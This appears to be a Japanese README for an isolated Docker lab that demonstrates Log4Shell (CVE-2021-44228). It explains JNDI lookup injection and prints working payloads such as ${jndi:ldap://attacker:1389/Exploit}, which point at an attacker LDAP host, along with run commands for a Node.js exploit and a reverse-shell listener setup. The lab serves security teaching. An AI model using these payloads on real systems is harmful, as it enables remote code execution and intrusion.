
免責事項
このラボは教育およびセキュリティ研究のみを目的として作成されています。 すべてのトラフィックは隔離されたDockerネットワーク内で発生します。 実際のシステムや明示的な許可なしにこの資料を使用しないでください。 不正使用は犯罪となる可能性があります。責任を持って使用してください。
Log4Shell は、2021年12月に発見された、Javaアプリケーションで広く使用されているロギングライブラリ Apache Log4j 2 の重大な脆弱性(CVSS 10.0)です。
Log4jには式補間機能があります。メッセージをログに記録する際に、${...} 形式の文字列を評価します。例えば、${java:version} は実行時のJavaバージョンに置き換えられます。
問題は JNDI(Java Naming and Directory Interface)プロトコルのサポートにあります。Log4jが次のような式を検出すると:
${jndi:ldap://atacante.com/exploit}
JVMに攻撃者のサーバーへのLDAPクエリを実行するように指示します。サーバーはリモートJavaクラスへの参照で応答し、JVMはそのクラスをダウンロードして実行し、結果としてリモートコード実行(RCE) が発生します。
攻撃ベクトルは単純です。サーバーによってログに記録される任意のフィールド(HTTPヘッダー、フォームフィールド、Cookieなど)がペイロードの入口になり得ます。
2.0-beta9 から 2.14.12.15.0 で修正(2.17.0 で完全に修正)このラボは、脆弱なバージョンを使用した実際のJavaアプリケーションをシミュレートします。
GET http://localhost:8080/log
以下のヘッダーはLog4jによって直接ログに記録されます。これらのいずれもがインジェクションのベクターとなり得ます。
X-Api-VersionUser-AgentX-Auth-Tokenattacker コンテナ)| サービス | ポート | 機能 |
|---|
docker-compose up --build
ログに以下の表示が出るまで待機します:
[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds
別のターミナルで、Node.jsエクスプロイトを実行します:
node exploit/exploit.js
期待される出力:
[*] CVE-2021-44228 — Log4Shell PoC
[*] Target : http://localhost:8080/log
[*] Header : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}
[+] Response : 200 OK
[+] Body : logged
[+] Payload delivered — check the attacker nc listener on port 9001
docker-compose が実行されているターミナルを観察します。attacker コンテナのログに、ポート9001にリバースシェルの接続が到着しているのが確認できます。
脆弱なアプリ内で touch /tmp/pwned が実行されたことを確認するには:
docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwned
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"
By Guaxinim | サイバーセキュリティ研究
| コンポーネント | バージョン | 脆弱である理由 |
|---|
| Apache Log4j | 2.14.1 | ${jndi:...} を無制限に評価 |
| JDK | 1.8.0_181 | trustURLCodebase=false を設定するパッチ 8u191 より前 |
| Spring Boot | 2.5.6 | 単なるWebフレームワーク。脆弱性はLog4jによるもの |
| marshalsec (LDAP) | 1389 | JNDIルックアップを受信し、HTTPサーバーへリダイレクト |
| Python HTTPサーバー | 8888 | 被害者のJVMに Exploit.class を提供 |
| netcatリスナー | 9001 | リバースシェルの接続を受信 |